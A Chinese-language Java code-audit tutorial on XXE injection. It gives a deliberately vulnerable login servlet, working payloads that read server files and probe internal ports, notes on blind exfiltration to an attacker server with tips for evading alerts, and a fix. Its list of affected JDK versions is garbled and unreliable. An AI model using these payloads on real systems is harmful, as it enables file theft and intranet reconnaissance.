文章目录
- 1、简介
- 2、 java XXE审计函数
- 3、漏洞
- 3.1、正常的业务
- 3.2、有回显的情况
- 3.3、无回显的情况
- 3.4、修复
之前的文章,
php代码审计9之XXE
1、简介
XXE(XML外部实体注⼊,XML External Entity) ,在应⽤程序解析XML输⼊时,当允许引⽤外部实体时,可构造恶意内容,导致读取任意⽂件、探测内⽹端⼝、攻击内⽹⽹站、发起DoS拒绝服务攻击、 执⾏系统命令等。
Java中的XXE⽀持sun.net.www.protocol ⾥的所有协议:
http,https,file,ftp,mailto,jar, netdoc。⼀般利⽤file协议读取⽂件,利⽤http协议探测内⽹,
没有回显时可组合利⽤file协议和ftp协议来读取⽂件。
2、 java XXE审计函数
重点关注下边这些函数,
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReaderorg.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilderorg.apache.commons.digester3.Digester
解析XML的⽅法越来越多,java中常⻅有四种,即:DOM、DOM4J、JDOM 和SAX。下⾯以这四种为例展示java的XXE漏洞
3、漏洞
3.1、正常的业务
模拟使用xml来传输登录信息,这是登录成功的情况,返回1
登录失败,返回0,
具体测试代码,
package com.example;import org.w3c.dom.Document;
import org.w3c.dom.NodeList;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;@WebServlet("/xxe1")
public class xxe1Servlet extends HttpServlet {private static final String USERNAME = "admin";//账号private static final String PASSWORD = "admin";//密码protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String result="";try {//DOM Read XMLDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();/* dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);*/DocumentBuilder db = dbf.newDocumentBuilder();Document doc = db.parse(request.getInputStream());String username = getValueByTagName(doc,"username");String password = getValueByTagName(doc,"password");if(username.equals(USERNAME) && password.equals(PASSWORD)){result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);}else{result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);}} catch (ParserConfigurationException | org.xml.sax.SAXException e) {e.printStackTrace();result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());}response.setContentType("text/xml;charset=UTF-8");response.getWriter().append(result);}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {doPost(request, response);}/**** @param doc 文档* @param tagName 标签名* @return 标签值*/public static String getValueByTagName(Document doc, String tagName){if(doc == null || tagName.equals(null)){return "";}NodeList pl = doc.getElementsByTagName(tagName);if(pl != null && pl.getLength() > 0){return pl.item(0).getTextContent();}return "";}
}
3.2、有回显的情况
通过上边的代码,可以看到,后端将传入的admin参数进行了回显输出,下边是ftp、netdoc、http协议分别进行文件读取和内网端口探测的例子此时就可以通过ftp协议读取服务器内容,然后利用用户名输出回显,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
通过netdoc协议读取,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "netdoc:///C:/Windows/win.ini">
]>
<user><username>&xxe;</username><password>123456</password></user>
类似的可以通过http协议探测内网,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "http://127.0.0.1:8082">
]>
<user><username>&xxe;</username><password>123456</password></user>
开放的端口,会返回一些内容,且响应较快,
未开放的端口,返回报错信息,且响应较慢,
3.3、无回显的情况
该方法的前提是,目标机器有出网权限。直接vps起服务,让目标服务器来请求就ok了,建议实战使用类似的,也可以直接让目标访问dnslog,实战不建议,会引发ioc的告警
上边的方式仅仅是探测到目标存在XXE,如何将读取的内容传递过来呢,这里就是Java的外带只有外带一行数据,无法像php一样,外带很多数据,参考使用脚本,https://github.com/LandGrey/xxe-ftp-server
除非jdk版本小于 7u141 和 小于 8u162;具体有哪些版本
JDK版本号的命名规则是:
JDK1.x、JDK2.x、JDK3.x、JDK4.x、JDK5.x、JDK6.x、JDK7.x、JDK8.x、JDK9.x、JDK10.x和JDK11.x。因此,
小于7u141的版本有:
JDK 6u20, JDK 6u22, JDK 6u23, JDK 6u25, JDK 6u26, JDK 6u27, JDK 6u28, JDK 6u29, JDK 6u30, JDK 6u31;
小于8u162的版本有:JDK 7u141。
3.4、修复
两行代码,禁用外部实体,
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);